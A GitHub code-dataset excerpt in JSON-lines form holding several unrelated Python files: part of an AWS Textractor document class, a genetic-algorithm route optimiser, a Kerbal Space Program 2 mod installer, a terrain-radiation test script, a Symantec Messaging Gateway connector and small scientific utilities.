top_n_words])\n\n return top_n_words\n\n def search_lines(\n self,\n keyword: str,\n top_k: int = 1,\n similarity_metric: SimilarityMetric = SimilarityMetric.LEVENSHTEIN,\n similarity_threshold: float = 0.6,\n ) -> List[Line]:\n \"\"\"\n Return a list of top_k lines that contain the queried keyword.\n\n :param keyword: Keyword that is used to query the document.\n :type keyword: str\n :param top_k: Number of closest line objects to be returned\n :type top_k: int\n :param similarity_metric: SimilarityMetric.COSINE, SimilarityMetric.EUCLIDEAN or SimilarityMetric.LEVENSHTEIN. SimilarityMetric.COSINE is chosen as default.\n :type similarity_metric: SimilarityMetric\n :param similarity_threshold: Measure of how similar document key is to queried key. default=0.6\n :type similarity_threshold: float\n\n :return: Returns a list of lines that contain the queried key sorted from highest\n to lowest similarity.\n :rtype: EntityList[Line]\n \"\"\"\n if not isinstance(similarity_metric, SimilarityMetric):\n raise InputError(\n \"similarity_metric parameter should be of SimilarityMetric type. Find input choices from textractor.data.constants\"\n )\n\n top_n_lines = []\n for page in self.pages:\n top_n_lines.extend(\n page._search_lines_with_similarity(\n keyword=keyword,\n top_k=top_k,\n similarity_metric=similarity_metric,\n similarity_threshold=similarity_threshold,\n )\n )\n\n top_n_lines = EntityList([ent[1] for ent in top_n_lines][:top_k])\n\n return top_n_lines\n\n # KeyValue entity related functions\n def get(\n self,\n key: str,\n top_k_matches: int = 1,\n similarity_metric: SimilarityMetric = SimilarityMetric.LEVENSHTEIN,\n similarity_threshold: float = 0.6,\n ):\n \"\"\"\n Return upto top_k_matches of key-value pairs for the key that is queried from the document.\n\n :param key: Query key to match\n :type key: str\n :param top_k_matches: Maximum number of matches to return\n :type top_k_matches: int\n :param similarity_metric: SimilarityMetric.COSINE, SimilarityMetric.EUCLIDEAN or SimilarityMetric.LEVENSHTEIN. SimilarityMetric.COSINE is chosen as default.\n :type similarity_metric: SimilarityMetric\n :param similarity_threshold: Measure of how similar document key is to queried key. default=0.6\n :type similarity_threshold: float\n\n :return: Returns a list of key-value pairs that match the queried key sorted from highest to lowest similarity.\n :rtype: EntityList[KeyValue]\n \"\"\"\n if not isinstance(similarity_metric, SimilarityMetric):\n raise InputError(\n \"similarity_metric parameter should be of SimilarityMetric type. Find input choices from textractor.data.constants\"\n )\n\n top_n = []\n similarity_threshold = (\n -similarity_threshold\n if similarity_metric == SimilarityMetric.EUCLIDEAN\n else similarity_threshold\n )\n lowest_similarity = similarity_threshold\n\n for kv in self.key_values + self.checkboxes:\n try:\n edited_document_key = \"\".join(\n [\n char\n for char in kv.key.__repr__()\n if char not in string.punctuation\n ]\n )\n except:\n pass\n key = \"\".join([char for char in key if char not in string.punctuation])\n\n similarity = [\n SearchUtils.get_word_similarity(key, word, similarity_metric)\n for word in edited_document_key.split(\" \")\n ]\n similarity.append(\n SearchUtils.get_word_similarity(\n key, edited_document_key, similarity_metric\n )\n )\n\n similarity = (\n min(similarity)\n if similarity_metric == SimilarityMetric.EUCLIDEAN\n else max(similarity)\n )\n\n if similarity > similarity_threshold:\n if len(top_n) < top_k_matches:\n top_n.append((kv, similarity))\n elif similarity > lowest_similarity:\n top_n[-1] = (kv, similarity)\n top_n = sorted(top_n, key=lambda x: x[1], reverse=True)\n lowest_similarity = top_n[-1][1]\n\n if not top_n:\n logging.warning(\n f\"Query key does not match any existing keys in the document.{os.linesep}{self.keys()}\"\n )\n return EntityList([])\n\n logging.info(f\"Query key matched {len(top_n)} key-values in the document.\")\n\n return EntityList([value[0] for value in top_n])\n\n # Export document entities into supported formats\n def export_kv_to_csv(\n self,\n include_kv: bool = True,\n include_checkboxes: bool = True,\n filepath: str = \"Key-Values.csv\",\n ):\n \"\"\"\n Export key-value entities and checkboxes in csv format.\n\n :param include_kv: True if KVs are to be exported. Else False.\n :type include_kv: bool\n :param include_checkboxes: True if checkboxes are to be exported. Else False.\n :type include_checkboxes: bool\n :param filepath: Path to where file is to be stored.\n :type filepath: str\n \"\"\"\n keys = []\n values = []\n if include_kv and not self.key_values:\n logging.warning(\"Document does not contain key-values.\")\n elif include_kv:\n for kv in self.key_values:\n keys.append(kv.key.__repr__())\n values.append(kv.value.__repr__())\n\n if include_checkboxes and not self.checkboxes:\n logging.warning(\"Document does not contain checkbox elements.\")\n elif include_checkboxes:\n for kv in self.checkboxes:\n keys.append(kv.key.__repr__())\n values.append(kv.value.children[0].status.name)\n\n with open(filepath, \"w\") as f:\n f.write(f\"Key,Value{os.linesep}\")\n for k, v in zip(keys, values):\n f.write(f\"{k},{v}{os.linesep}\")\n\n logging.info(\n f\"csv file stored at location {os.path.join(os.getcwd(),filepath)}\"\n )\n\n def export_kv_to_txt(\n self,\n include_kv: bool = True,\n include_checkboxes: bool = True,\n filepath: str = \"Key-Values.txt\",\n ):\n \"\"\"\n Export key-value entities and checkboxes in txt format.\n\n :param include_kv: True if KVs are to be exported. Else False.\n :type include_kv: bool\n :param include_checkboxes: True if checkboxes are to be exported. Else False.\n :type include_checkboxes: bool\n :param filepath: Path to where file is to be stored.\n :type filepath: str\n \"\"\"\n export_str = \"\"\n index = 1\n if include_kv and not self.key_values:\n logging.warning(\"Document does not contain key-values.\")\n elif include_kv:\n for kv in self.key_values:\n export_str += (\n f\"{index}. {kv.key.__repr__()} : {kv.value.__repr__()}{os.linesep}\"\n )\n index += 1\n\n if include_checkboxes and not self.checkboxes:\n logging.warning(\"Document does not contain checkbox elements.\")\n elif include_checkboxes:\n for kv in self.checkboxes:\n export_str += f\"{index}. {kv.key.__repr__()} : {kv.value.children[0].status.name}{os.linesep}\"\n index += 1\n\n with open(filepath, \"w\") as text_file:\n text_file.write(export_str)\n logging.info(\n f\"txt file stored at location {os.path.join(os.getcwd(),filepath)}\"\n )\n\n def export_tables_to_excel(self, filepath):\n \"\"\"\n Creates an excel file and writes each table on a separate worksheet within the workbook.\n This is stored on the filepath passed by the user.\n\n :param filepath: Path to store the exported Excel file.\n :type filepath: str, required\n \"\"\"\n if not filepath:\n logging.error(\"Filepath required to store excel file.\")\n workbook = xlsxwriter.Workbook(filepath)\n for table in self.tables:\n workbook = table.to_excel(\n filepath=None, workbook=workbook, save_workbook=False\n )\n workbook.close()\n\n def independent_words(self):\n \"\"\"\n :return: Return all words in the document, outside of tables, checkboxes, key-values.\n :rtype: EntityList[Word]\n \"\"\"\n if not self.words:\n logging.warning(\"Words have not been assigned to this Document object.\")\n return []\n\n else:\n table_words = sum([table.words for table in self.tables], [])\n kv_words = sum([kv.words for kv in self.key_values], [])\n checkbox_words = sum([kv.words for kv in self.checkboxes], [])\n dependent_words = table_words + checkbox_words + kv_words\n dependent_word_ids = set([word.id for word in dependent_words])\n independent_words = [\n word for word in self.words if word.id not in dependent_word_ids\n ]\n return EntityList(independent_words)\n\n def return_duplicates(self):\n \"\"\"\n Returns a dictionary containing page numbers as keys and list of :class:`EntityList` objects as values.\n Each :class:`EntityList` instance contains the key-values and the last item is the table which contains duplicate information.\n This function is intended to let the Textract user know of duplicate objects extracted by the various Textract models.\n\n :return: Dictionary containing page numbers as keys and list of EntityList objects as values.\n :rtype: Dict[page_num, List[EntityList[DocumentEntity]]]\n \"\"\"\n document_duplicates = defaultdict(list)\n\n for page in self.pages:\n document_duplicates[page.page_num].extend(page.return_duplicates())\n\n return document_duplicates\n\n def directional_finder(\n self,\n word_1: str = \"\",\n word_2: str = \"\",\n page: int = -1,\n prefix: str = \"\",\n direction=Direction.BELOW,\n entities=[],\n ):\n \"\"\"\n The function returns entity types present in entities by prepending the prefix provided by te user. This helps in cases of repeating\n key-values and checkboxes. The user can manipulate original data or produce a copy. The main advantage of this function is to be able to define direction.\n\n :param word_1: The reference word from where x1, y1 coordinates are derived\n :type word_1: str, required\n :param word_2: The second word preferably in the direction indicated by the parameter direction. When it isn't given the end of page coordinates are used in the given direction.\n :type word_2: str, optional\n :param page: page number of the page in the document to search the entities in.\n :type page: int, required\n :param prefix: User provided prefix to prepend to the key . Without prefix, the method acts as a search by geometry function\n :type prefix: str, optional\n :param entities: List of DirectionalFinderType inputs.\n :type entities: List[DirectionalFinderType]\n\n :return: Returns the EntityList of modified key-value and/or checkboxes\n :rtype: EntityList\n \"\"\"\n\n if not word_1 or page == -1:\n return EntityList([])\n\n x1, x2, y1, y2 = self._get_coords(word_1, word_2, direction, page)\n\n if x1 == -1:\n return EntityList([])\n\n page_obj = self.pages[page - 1]\n entity_dict = {\n DirectionalFinderType.KEY_VALUE_SET: self.key_values,\n DirectionalFinderType.SELECTION_ELEMENT: self.checkboxes,\n }\n\n entitylist = []\n for entity_type in entities:\n entitylist.extend(list(entity_dict[entity_type]))\n\n new_key_values = self._get_kv_with_direction(\n direction, entitylist, (x1, x2, y1, y2)\n )\n\n final_kv = []\n for kv in new_key_values:\n if kv.key:\n key_words = [deepcopy(word) for word in kv.key]\n key_words[0].text = prefix + key_words[0].text\n new_kv = deepcopy(kv)\n new_kv.key = key_words\n final_kv.append(new_kv)\n else:\n final_kv.append(kv)\n\n return EntityList(final_kv)\n\n def _get_kv_with_direction(self, direction, entitylist, coords):\n \"\"\"Return key-values and checkboxes in entitylist present in the direction given with respect to the coordinates.\"\"\"\n if direction == Direction.ABOVE:\n new_key_values = [\n kv\n for kv in entitylist\n if kv.bbox.y <= coords[2] and kv.bbox.y >= coords[-1]\n ]\n\n elif direction == Direction.BELOW:\n new_key_values = [\n kv\n for kv in entitylist\n if kv.bbox.y >= coords[2] and kv.bbox.y <= coords[-1]\n ]\n\n elif direction == Direction.RIGHT:\n new_key_values = [\n kv\n for kv in entitylist\n if kv.bbox.x >= coords[0] and kv.bbox.x <= coords[1]\n ]\n new_key_values = [\n kv\n for kv in new_key_values\n if kv.bbox.y >= coords[2] - kv.bbox.height\n and kv.bbox.y <= coords[-1] + 3 * kv.bbox.height\n ]\n\n elif direction == Direction.LEFT:\n new_key_values = [\n kv\n for kv in entitylist\n if kv.bbox.x <= coords[0] and kv.bbox.x >= coords[1]\n ]\n new_key_values = [\n kv\n for kv in new_key_values\n if kv.bbox.y >= coords[2] - kv.bbox.height\n and kv.bbox.y <= coords[-1] + 3 * kv.bbox.height\n ]\n\n return new_key_values\n\n def _get_coords(self, word_1, word_2, direction, page):\n \"\"\"\n Returns coordinates for the area within which to search for key-values with the directional_finder by retrieving coordinates of word_1 \\\n and word_2 if it exists else end of page.\n \"\"\"\n word_1_objects = self.search_lines(\n keyword=word_1,\n top_k=5,\n similarity_metric=SimilarityMetric.COSINE,\n similarity_threshold=0.5,\n )\n word_1_objects = (\n [word for word in word_1_objects if word.page == page] if page != -1 else []\n )\n\n if not word_1_objects:\n logging.warning(f\"{word_1} not found in page {page}\")\n return -1, -1, -1, -1\n else:\n word_1_obj = word_1_objects[0]\n x1, y1 = word_1_obj.bbox.x, word_1_obj.bbox.y\n\n if word_2:\n word_2_objects = self.search_lines(\n keyword=word_2,\n top_k=5,\n similarity_metric=SimilarityMetric.COSINE,\n similarity_threshold=0.5,\n )\n word_2_objects = [word for word in word_2_objects if word.page == page]\n if not word_2_objects:\n logging.warning(f\"{word_2} not found in page {page}\")\n return -1, -1, -1, -1\n else:\n word_2_obj = word_2_objects[0]\n x2, y2 = word_2_obj.bbox.x, word_2_obj.bbox.y\n else:\n x2, y2 = x1, y1\n\n if direction == Direction.ABOVE:\n x1, x2, y1, y2 = (x1, x2, y1, y2) if y2 < y1 else (x1, 0, y1, 0)\n\n elif direction == Direction.BELOW:\n x1, x2, y1, y2 = (x1, x2, y1, y2) if y2 > y1 else (x1, 1, y1, 1)\n\n elif direction == Direction.RIGHT:\n x1, x2, y1, y2 = (x1, x2, y1, y2) if x2 > x1 else (x1, 1, y1, y1)\n\n elif direction == Direction.LEFT:\n x1, x2, y1, y2 = (x1, x2, y1, y2) if x2 < x1 else (x1, 0, y1, y1)\n\n else:\n return -1, -1, -1, -1\n\n return x1, x2, y1, y2\n","repo_name":"aws-samples/amazon-textract-textractor","sub_path":"textractor/entities/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":31557,"program_lang":"python","lang":"en","doc_type":"code","stars":297,"dataset":"github-code","pt":"88"} +{"seq_id":"42073248748","text":"import numpy as np\nimport sys\nimport os\nimport json\nimport random\nfrom utils.read_yaml import read_yaml\nfrom graph_data import plot_locations, plot_times_average\nfrom utils.preprocessing import preprocess_location_locations\n# from GUI.main_window import run_gui\nfrom Evolution.fitness import fitness\nfrom Evolution.selection import selection\nfrom Evolution.crossover import two_point_crossover\nfrom Evolution.repopulation import repopulate\nfrom load_locations import load_locations\n\nargs = sys.argv[1:]\n\n# random.seed(42)\nvalues = read_yaml()\n\n# READ THE VALUES FROM THE .yaml\nnum_initial_population = values[\"INITIAL_POPULATION\"]\navg_speed = values[\"AVG_SPEED\"]\nsurvivors = values[\"SURVIVORS\"]\nnew_pop_size = values[\"NEW_POP_SIZE\"]\ngenerations = values[\"GENERATIONS\"]\ndebug = values[\"DEBUG\"]\nlocations = preprocess_location_locations(values[\"LOCATIONS\"]) # List with lat and lon of each location\n\nif not locations:\n print(\"[!] Error reading the locations file.\")\n quit()\n\ndef flag_parser():\n global debug\n for i in range(len(args)):\n flag = args[i]\n if flag == '--plot-locations':\n plot_locations(locations)\n exit()\n if flag == '--debug':\n debug = True\n\nflag_parser()\n\nnum_locations = len(locations) - 1 # We substract one since the first location is the starting point\n\n# Create the matrix where all posible options will be stored.\npaths_matrix = np.ones((num_initial_population, num_locations + 1)) # We add 1 since ith will be de -1 indicating the end of the path\n\n# Create initial generations\nfor i in range(num_initial_population):\n random_places = random.sample(range(0, num_locations), num_locations)\n random_places.append(-1) # The -1 represents the starting point\n paths_matrix[i] = random_places\n\npaths_matrix = np.unique(paths_matrix, axis=0).astype(\"int\") # Remove the repeated ones.\n\ninitial_generation = paths_matrix.copy() # For debugging purpose\n\nabs_min_value = float(\"inf\")\ntimes_averages = []\nbest_path = 0\n\nfor _ in range(generations):\n population_fitness = fitness(paths_matrix, locations, avg_speed) # Calculates the total time and returns them in increasing order\n selected_paths = selection(population_fitness, survivors) # Returns lists with the best paths and with its total time\n\n selected_paths_indeces, selected_paths_values = selected_paths\n\n times_averages.append(sum(selected_paths_values) / len(selected_paths_values))\n\n selected_paths = np.array([paths_matrix[i] for i in selected_paths_indeces])\n \n min_value = min(selected_paths_values)\n if min_value < abs_min_value:\n abs_min_value = min_value\n bi = selected_paths_values.index(min_value)\n best_path = selected_paths[bi]\n\n crossover_genes = two_point_crossover(selected_paths.copy()) # .copy() for unlinking the variables\n paths_matrix = repopulate(crossover_genes, new_pop_size)\n\n if debug:\n print(f\"\\nSummary of generation {_}\")\n print(\"\\nBest Routes\\n\")\n print(selected_paths)\n print(\"\\nAfter Crossover\\n\")\n print(crossover_genes)\n print(\"\\nNew Population\\n\")\n print(paths_matrix)\n\nif debug:\n print(\"\\nInitial Population\\n\")\n print(initial_generation)\n print(f\"\\nBest time: {abs_min_value} seconds. / {abs_min_value / 60} minutes. / {abs_min_value / 3600} hours.\")\n print(f\"\\nBest path: {best_path}\")\n\ndata = [times_averages, abs_min_value, best_path]\n\n\n\n# run_gui(data)\n\nplot_times_average(times_averages)\n# plot_locations(locations)","repo_name":"sudo-Erno/Genetic-Logistics","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"19863968529","text":"import os\nimport urllib.request\nimport zipfile\nimport tkinter as tk\nfrom tkinter import ttk, filedialog, messagebox\nimport subprocess\n\nDEFAULT_FILE_PATH = \"C:/Program Files (x86)/Steam/steamapps/common/Kerbal Space Program 2/SpaceWarp\"\n\ndef add_mod(url, mod_dir, install_dir):\n # Download and extract mod\n mod_zip = os.path.join(install_dir, f\"{mod_dir}.zip\")\n urllib.request.urlretrieve(url, mod_zip)\n with zipfile.ZipFile(mod_zip, 'r') as zip_ref:\n zip_ref.extractall(install_dir)\n\n # Delete mod zip file\n os.remove(mod_zip)\n\n tk.messagebox.showinfo(\"Successful Install\", f\"Successfully installed {mod_dir}.\")\n\ndef add_mod_iva(url, mod_dir, install_dir):\n # Download and extract mod\n mod_zip = os.path.join(install_dir, f\"{mod_dir}.zip\")\n urllib.request.urlretrieve(url, mod_zip)\n with zipfile.ZipFile(mod_zip, 'r') as zip_ref:\n zip_ref.extractall(install_dir)\n\n # Delete mod zip file\n os.remove(mod_zip)\n\n tk.messagebox.showinfo(\"Successful Install\", f\"Successfully installed {mod_dir}.\")\n\nMOD_LIST = [\n {\n \"name\": \"Lazy Orbit\",\n \"author\": \"Halban\",\n \"url\": \"https://spacedock.info/mod/3258/Lazy%20Orbit/download/v0.2.0\",\n \"license\": \"https://creativecommons.org/licenses/by-sa/4.0/\",\n \"dir\": \"lazyOrbit\"\n },\n {\n \"name\": \"Custom Flags\",\n \"author\": \"adamsogm\",\n \"url\": \"https://spacedock.info/mod/3262/Custom%20Flags/download/1.0\",\n \"license\": \"://mit-license.httpsorg/\",\n \"dir\": \"customFlags\"\n },\n {\n \"name\": \"IVA\",\n \"author\": \"Mudkip909\",\n \"url\": \"https://github.com/Mudkip909/KSP2-IVA/releases/download/0.2.1/IVA0.2.1-SpaceWarp0.2.zip\",\n \"license\": \"UNKNOWN\",\n \"dir\": \"IVA\"\n },\n]\n\nclass ModInstallerGUI:\n def __init__(self, master):\n self.master = master\n master.title(\"KSP2 MOD MGR Installer :: MrCreeps\")\n\n # Create frame for file path selection\n self.path_frame = ttk.LabelFrame(master, text=\"Select KSP2 directory\")\n self.path_frame.pack(fill=\"both\", expand=True, padx=10, pady=10)\n\n # Label and entry widget for file path selection\n self.path_label = ttk.Label(self.path_frame, text=\"KSP2 directory path:\")\n self.path_label.grid(row=0, column=0, sticky=\"w\", padx=(0, 10), pady=10)\n\n self.path_entry = ttk.Entry(self.path_frame, width=40)\n self.path_entry.grid(row=0, column=1, sticky=\"w\", pady=10)\n\n # Button for file path selection\n self.path_button = ttk.Button(self.path_frame, text=\"Browse\", command=self.select_directory)\n self.path_button.grid(row=0, column=2, sticky=\"w\", pady=10)\n\n # Create frame for mod list\n self.mod_frame = ttk.LabelFrame(master, text=\"Select mods to install\")\n self.mod_frame.pack(fill=\"both\", expand=True, padx=10, pady=10)\n\n # Checkboxes for mod selection\n self.mod_vars = []\n self.mod_checkboxes = []\n for i, mod in enumerate(MOD_LIST):\n var = tk.BooleanVar(value=True)\n checkbox = ttk.Checkbutton(self.mod_frame, text=f\"{mod['name']} by {mod['author']}\", variable=var)\n checkbox.grid(row=i, column=0, sticky=\"w\", padx=(0, 10), pady=5)\n self.mod_vars.append(var)\n self.mod_checkboxes.append(checkbox)\n\n # Button for installing mods\n self.install_button = ttk.Button(master, text=\"Install\", command=self.install_mods)\n self.install_button.pack(pady=10)\n\n self.run_ksp_button = ttk.Button(master, text=\"Launch KSP 2\", command=self.run_ksp)\n self.run_ksp_button.pack(pady=10)\n\n # Set default file path in entry widget\n self.path_entry.insert(0, DEFAULT_FILE_PATH)\n\n def run_ksp(self):\n shouldRun = tk.messagebox.askquestion(\"Launch KSP2\", \"Launch Kerbal Space Program 2?\")\n if shouldRun == \"yes\":\n file_path = self.path_entry.get()\n # Define the path to the executable\n exe_path = file_path[:-9]\n exe_path += \"KSP2_x64.exe\"\n\n # Run the executable\n subprocess.run(exe_path)\n else:\n tk.messagebox.showerror(\"Not Launching KSP2\", \"Kerbal Space Program 2 launch cancelled.\")\n\n def select_directory(self):\n path = tk.filedialog.askdirectory(initialdir=\"/\", title=\"Select KSP2 directory\")\n self.path_entry.delete(0, tk.END)\n self.path_entry.insert(0, path)\n\n def install_mods(self):\n # Get file path from entry widget\n file_path = self.path_entry.get()\n\n # Create Mods directory if it does not exist\n mod_dir = os.path.join(file_path, \"Mods\")\n if not os.path.exists(mod_dir):\n os.makedirs(mod_dir)\n\n # Install selected mods\n for i, mod in enumerate(MOD_LIST):\n if self.mod_vars[i].get():\n tk.messagebox.showinfo(f\"{mod['name']} Info\", f\"{mod['name']} by {mod['author']} uses the {mod['license']} license.\\nMod page at {mod['url']}\")\n confirm = tk.messagebox.askquestion(f\"{mod['name']} Install\", f\"Install {mod['name']} by {mod['author']}?\", icon=\"question\")\n if confirm == \"yes\":\n if mod['name'] == \"Custom Flags\":\n tk.messagebox.showerror(\"Make `flags/` Warning\", \"You will need to create a `flags/` folder in the KSP2 directory to add custom flags.\")\n if mod['name'] == \"IVA\":\n tk.messagebox.showerror(\"Fix Folder Structure Warning\", \"You will need to move the `IVA` folder out of the `Mods\\SpaceWarp\\Mods\\` folder as the ZIP currently has an incorrect folder structure.\")\n add_mod(mod['url'], mod['dir'], mod_dir)\n else:\n tk.messagebox.showerror(f\"Not Installing {mod['name']}\", f\"Not installing {mod['name']} by {mod['author']}.\")\n\n # Show completion message\n tk.messagebox.showinfo(\"Installation completed\", \"The mods have been installed successfully!\")\n\nroot = tk.Tk() # Create main window\ngui = ModInstallerGUI(root) # Pass main window as argument to create instance of ModInstallerGUI\nroot.mainloop() # Start event loop for main window\n","repo_name":"MrCreeps/Python","sub_path":"KSP 2 Mod Mgr.py","file_name":"KSP 2 Mod Mgr.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"35788077058","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom cmcrameri import cm\nfrom subgrid_radiation import auxiliary\nfrom subgrid_radiation.sun_position_array import rays\nfrom subgrid_radiation import sun_position_array\n\nmpl.style.use(\"classic\")\n\n# %matplotlib auto\n# %matplotlib auto\n\n# -----------------------------------------------------------------------------\n# Settings\n# -----------------------------------------------------------------------------\n\n# Grid for lookup positions\n# lu_lon = np.linspace(-180.0, 170.0, 36, dtype=np.float64) # 10 degree\n# lu_lat = np.linspace(0.0, 90.0, 10, dtype=np.float64) # 10 degree\nlu_lon = np.linspace(-180.0, 175.0, 72, dtype=np.float64) # 5 degree\nlu_lat = np.linspace(0.0, 90.0, 19, dtype=np.float64) # 5 degree\n\n# Ray-tracing and 'SW_dir_cor' calculation\ndist_search = 100.0 # search distance for terrain shading [kilometre]\ngeom_type = \"grid\" # \"grid\" or \"quad\"\nsw_dir_cor_max = 25.0\nang_max = 89.9\n\n# Miscellaneous settings\npath_work = \"/Users/csteger/Desktop/dir_work/\" # working directory\nplot = True\n\n# -----------------------------------------------------------------------------\n# Generate artifical data and check\n# -----------------------------------------------------------------------------\n\n# Coordinates\nx = np.linspace(-50000, 50000, 1001, dtype=np.float32)\ny = np.linspace(-50000, 50000, 1001, dtype=np.float32)\nx, y = np.meshgrid(x, y)\n\n# 'Lowered' Hemisphere (-> avoid very steep sides at base)\nradius = 20000.0\nlower = 5000.0\nz = np.sqrt(radius ** 2 - x ** 2 - y ** 2) - lower\nz[np.isnan(z)] = 0.0\nz[z < 0.0] = 0.0\nprint(\"Elevation (min/max): %.2f\" % z.min() + \", %.2f\" % z.max())\n\n# # Gaussian mountain\n# amp = 15000.0 # amplitude\n# sigma = 10000.0\n# z = amp * np.exp(-(x ** 2 / (2.0 * sigma ** 2)\n# + y ** 2 / (2.0 * sigma ** 2)))\n# print(\"Elevation (min/max): %.2f\" % z.min() + \", %.2f\" % z.max())\n\n# Test plot\nif plot:\n plt.figure()\n plt.pcolormesh(x, y, z)\n plt.colorbar()\n plt.figure(figsize=(12, 3))\n plt.plot(x[500, :], z[500, :])\n\npixel_per_gc = 10\noffset_gc = 10\n\n# Merge vertex coordinates and pad geometry buffer\ndem_dim_0, dem_dim_1 = x.shape\nvert_grid = auxiliary.rearrange_pad_buffer(x, y, z)\nprint(\"Size of elevation data: %.3f\" % (vert_grid.nbytes / (10 ** 9))\n + \" GB\")\n\n# Merge vertex coordinates and pad geometry buffer (0.0 m elevation)\nslice_in = (slice(pixel_per_gc * offset_gc, -pixel_per_gc * offset_gc),\n slice(pixel_per_gc * offset_gc, -pixel_per_gc * offset_gc))\nz_zero = np.zeros_like(z)\ndem_dim_in_0, dem_dim_in_1 = z_zero[slice_in].shape\nvert_grid_in = auxiliary.rearrange_pad_buffer(x[slice_in], y[slice_in],\n z_zero[slice_in])\nprint(\"Size of elevation data (0.0 m surface): %.3f\"\n % (vert_grid_in.nbytes / (10 ** 9)) + \" GB\")\n\n# Sun positions\nr_sun = 20000.0 + 10.0 ** 9\nlu_lon_2d, lu_lat_2d = np.meshgrid(lu_lon, lu_lat)\nx_sun = r_sun * np.cos(np.deg2rad(lu_lat_2d)) * np.cos(np.deg2rad(lu_lon_2d))\ny_sun = r_sun * np.cos(np.deg2rad(lu_lat_2d)) * np.sin(np.deg2rad(lu_lon_2d))\nz_sun = r_sun * np.sin(np.deg2rad(lu_lat_2d))\nsun_pos = np.concatenate((x_sun[:, :, np.newaxis],\n y_sun[:, :, np.newaxis],\n z_sun[:, :, np.newaxis]), axis=2)\n\n# Mask (optional)\nnum_gc_y = int((x.shape[0] - 1) / pixel_per_gc) - 2 * offset_gc\nnum_gc_x = int((x.shape[1] - 1) / pixel_per_gc) - 2 * offset_gc\nmask = np.ones((num_gc_y, num_gc_x), dtype=np.uint8)\n# mask[:] = 0\n# mask[20:40, 20:40] = 1\n\n# -----------------------------------------------------------------------------\n# Compute spatially aggregated correction factors\n# -----------------------------------------------------------------------------\n\n# Compute\nsw_dir_cor = sun_position_array.rays.sw_dir_cor_coherent_rp8(\n vert_grid, dem_dim_0, dem_dim_1,\n vert_grid_in, dem_dim_in_0, dem_dim_in_1,\n sun_pos, pixel_per_gc, offset_gc,\n mask=mask, dist_search=dist_search, geom_type=geom_type,\n ang_max=ang_max, sw_dir_cor_max=sw_dir_cor_max)\n\n# Check output\nprint(\"Range of 'sw_dir_cor'-values: [%.2f\" % np.nanmin(sw_dir_cor)\n + \", %.2f\" % np.nanmax(sw_dir_cor) + \"]\")\n\n# Test plot\nif plot:\n levels = np.arange(0.0, 2.0, 0.2)\n cmap = cm.roma_r\n norm = mpl.colors.BoundaryNorm(levels, ncolors=cmap.N, clip=False,\n extend=\"max\")\n plt.figure()\n ind_2, ind_3 = 5, 0 # 3, 0\n plt.pcolormesh(sw_dir_cor[:, :, ind_2, ind_3], cmap=cmap, norm=norm)\n plt.xlabel(\"X-axis\")\n plt.ylabel(\"Y-axis\")\n plt.colorbar()\n plt.title(\"Sun position (lat/lon): %.2f\" % lu_lat[ind_2]\n + \", %.2f\" % lu_lon[ind_3] + \" [degree]\",\n fontsize=12, fontweight=\"bold\", y=1.01)\n print(\"Spatially averaged 'sw_dir_cor': %.5f\"\n % np.nanmean(sw_dir_cor[:, :, ind_2, ind_3]))\n\n# Save correction factors\nnp.save(path_work + \"SW_dir_cor_artifical_rays.npy\", sw_dir_cor)\n","repo_name":"ChristianSteger/Subgrid_radiation","sub_path":"test/sun_position_array_rays_artificial.py","file_name":"sun_position_array_rays_artificial.py","file_ext":"py","file_size_in_byte":4968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"33148735275","text":"from connectors.core.connector import Connector, ConnectorError, get_logger\nfrom .operations import SMG\n\nlogger = get_logger('symantec-messaging-gateway')\n\n\nclass SymantecMessagingGateway(Connector):\n def execute(self, config, operation, params, **kwargs):\n try:\n logger.info('executing action {}'.format(operation))\n smg = SMG(config)\n operations = {\n 'blacklist_email': smg.blacklist_email,\n 'unblacklist_email': smg.unblacklist_email,\n 'blacklist_domain': smg.blacklist_domain,\n 'unblacklist_domain': smg.unblacklist_domain,\n 'blacklist_ip': smg.blacklist_ip,\n 'unblacklist_ip': smg.unblacklist_ip,\n 'audit_logs_search': smg.audit_logs_search,\n 'advanced_audit_logs_search': smg.advanced_audit_logs_search\n }\n action = operations.get(operation)\n return action(config, params)\n except Exception as err:\n logger.exception(str(err))\n raise ConnectorError(str(err))\n\n def check_health(self, config):\n try:\n logger.info('executing check health')\n smg = SMG(config)\n connection_response = smg.test_connection(config)\n return connection_response\n except Exception as exp:\n logger.exception(str(exp))\n raise ConnectorError(str(exp))\n","repo_name":"fortinet-fortisoar/connector-symantec-messaging-gateway","sub_path":"symantec-messaging-gateway/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"70669726049","text":"from QuantumSparse.spin.spin_operators import spin_operators\nimport numpy as np\nfrom QuantumSparse import operator\nfrom QuantumSparse.spin.interactions import Heisenberg, Ising\nfrom scipy import sparse\n\ndef main():\n \n S = 1./2\n NSpin = 4\n SpinValues = np.full(NSpin,S)\n\n spins = spin_operators(SpinValues)\n\n H = Heisenberg(spins=spins)\n print(H.shape)\n print(H.sparsity())\n # print(H.todense())\n\n eigenvalues, eigenstates = H.diagonalize()\n\n # H = Ising(spins.Sz)\n \n print(\"\\n\\tJob done :)\\n\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"EliaStocco/QuantumSparse","sub_path":"examples/Ising.py","file_name":"Ising.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"74574885727","text":"import datasampler.class_random_sampler\nimport datasampler.random_sampler\n\n\ndef select(sampler, opt, image_dict, image_list=None, **kwargs):\n if 'random' in sampler:\n if 'class' in sampler:\n sampler_lib = class_random_sampler\n else:\n sampler_lib = random_sampler\n else:\n raise Exception('Minibatch sampler <{}> not available!'.format(sampler))\n\n sampler = sampler_lib.Sampler(opt,image_dict=image_dict,image_list=image_list)\n\n return 